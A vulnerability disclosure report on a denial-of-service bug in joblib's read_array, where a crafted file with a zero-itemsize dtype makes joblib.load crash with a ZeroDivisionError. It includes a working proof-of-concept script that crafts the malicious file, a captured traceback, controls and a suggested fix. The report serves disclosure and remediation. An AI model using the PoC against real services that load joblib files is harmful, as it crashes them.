# joblib.load DoS: ZeroDivisionError in read_array from attacker-controlled itemsize-0 dtype metadata **Target:** `joblib` (PyPI package `joblib`) **Verified version:** joblib 1.5.2, numpy 2.3.5, CPython 3.13 (Kali). Vulnerable line is unchanged on joblib `main`. **Vulnerable file/line:** `joblib/numpy_pickle.py`, `NumpyArrayWrapper.read_array`, line 191. **Impact:** Denial of service (unhandled `ZeroDivisionError`) on `joblib.load()` of an untrusted `.joblib` file. Not memory corruption or RCE. **Class:** CWE-369 (Divide By Zero) reachable from untrusted deserialization metadata. --- ## Root cause In `joblib/numpy_pickle.py`, `NumpyArrayWrapper.read_array` computes a read-chunk count by dividing the buffer size by the dtype item size, with **no guard against a zero itemsize**: ```python # joblib/numpy_pickle.py (line ~191, NumpyArrayWrapper.read_array) max_read_count = BUFFER_SIZE // min(BUFFER_SIZE, self.dtype.itemsize) ``` `self.dtype` is **attacker-controlled metadata** carried inside the pickled `NumpyArrayWrapper`. A non-object numpy dtype whose `itemsize` is 0 — e.g. `np.dtype('V0')`, a zero-length void — has `hasobject == False`, so `read_array` takes the raw-array `else` branch and evaluates `min(BUFFER_SIZE, 0) == 0` as the divisor. This raises `ZeroDivisionError` **before any array data is read**. The crash is **count-independent**: it fires for shape `(0,)` and `(1,)` alike, because the division happens before the read loop. ### Asymmetry with the write side (confirms the missing check) The WRITE path already guards the exact same division. In `write_array` (line ~126): ```python # joblib/numpy_pickle.py (line ~126, write_array) buffersize = max(16 * 1024 ** 2 // array.itemsize, 1) ``` The `max(..., 1)` floor prevents a zero divisor on write. The READ side has no equivalent floor — an asymmetry that pinpoints the missing guard. ### Reachability from the public loader `joblib.load()` -> `_unpickle` -> `NumpyUnpickler.load_build` (overrides pickle `BUILD`) -> `array_wrapper.read` -> `read_array`. So a crafted `.joblib` file crashes the documented public loader. **No pickle `__reduce__` gadget is involved** — the crash comes purely from the array metadata joblib itself trusts and dereferences. --- ## PoC Craft a joblib file whose array placeholder claims a zero-itemsize dtype: ```python import numpy as np, pickle, joblib from joblib.numpy_pickle import NumpyArrayWrapper w = NumpyArrayWrapper(np.ndarray, shape=(1,), order='C', dtype=np.dtype('V0'), allow_mmap=False) open('poc_v0.joblib', 'wb').write(pickle.dumps(w, protocol=5)) joblib.load('poc_v0.joblib') # -> ZeroDivisionError at numpy_pickle.py:191 ``` The file is a plain pickle stream containing a `NumpyArrayWrapper` with `dtype V0`. joblib's `NumpyUnpickler` overrides `BUILD`, reconstructs the wrapper, and calls `read_array`, which divides by `min(BUFFER_SIZE, itemsize) == 0`. --- ## Captured evidence (verbatim, real `joblib.load()` execution) ``` dtype V0 itemsize = 0 hasobject = False Traceback (most recent call last): File ".../joblib/numpy_pickle.py", line 749, in load obj = _unpickle(fobj, ...) File ".../joblib/numpy_pickle.py", line 626, in _unpickle obj = unpickler.load() File "/usr/lib/python3.13/pickle.py", line 1256, in load dispatch[key[0]](self) File ".../joblib/numpy_pickle.py", line 462, in load_build _array_payload = array_wrapper.read(self, self.ensure_native_byte_order) File ".../joblib/numpy_pickle.py", line 284, in read array = self.read_array(unpickler, ensure_native_byte_order) File ".../joblib/numpy_pickle.py", line 191, in read_array max_read_count = BUFFER_SIZE // min(BUFFER_SIZE, self.dtype.itemsize) ~~~~~~~~~~~~^^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ZeroDivisionError: integer division or modulo by zero ``` ### Negative controls (same run) ``` control1 legit np.arange dump/load roundtrip OK, equal = True control2 identical craft path with VALID dtype 'u1' shape (0,) -> array([], dtype=uint8) (loads fine) variant v0 shape (0,) -> ZeroDivisionError (proves count-independent, pre-loop) ``` `control2` isolates the cause: the same crafting method with a valid dtype loads cleanly, so the crash is specifically the itemsize-0 dtype metadata, not the way the file was built. --- ## Suggested fix Floor the divisor on the read side to mirror the write side, e.g.: ```python max_read_count = BUFFER_SIZE // max(min(BUFFER_SIZE, self.dtype.itemsize), 1) ``` or explicitly reject a zero/negative itemsize dtype before entering the read loop. --- ## Dedup / prior art - **Distinct from the three joblib scanner-bypass reports** (stopbyte `0x2e`-STOP, numeric-genops multi-array, numpy-ctypeslib). Those are `modelscan` pickle-layer false-negatives. This is a crash inside joblib's **own** `read_array` metadata handling, independent of any scanner, with **no** pickle reduce gadget. - **Distinct from CVE-2024-34997** (joblib pickle `__reduce__` RCE primitive) — that requires a reduce gadget; this fires purely from trusted array metadata. - **No public report found** for a joblib `read_array` itemsize-0 `ZeroDivisionError`. The vulnerable line is unchanged on joblib `main`; the write/read guard asymmetry (write line ~126 uses `max(..., 1)`) is public but unremarked. - **Related read_array paths characterized but weaker** (not the primary): subarray dtype `('f8',(2,))` yields an unhandled `ValueError` (reshape mismatch); a huge shape yields numpy's guarded `MemoryError` (over-alloc is validated by numpy, not memory-unsafe). The itemsize-0 `ZeroDivisionError` is the clean, deterministic primary. ## Scope note `joblib.load` is already documented as unsafe for untrusted pickle input. The security boundary here is that a **crash is reachable from pure array metadata before any reduce gadget executes** — i.e. metadata joblib itself parses and trusts triggers an unhandled exception. Impact is denial-of-service, not memory corruption or RCE.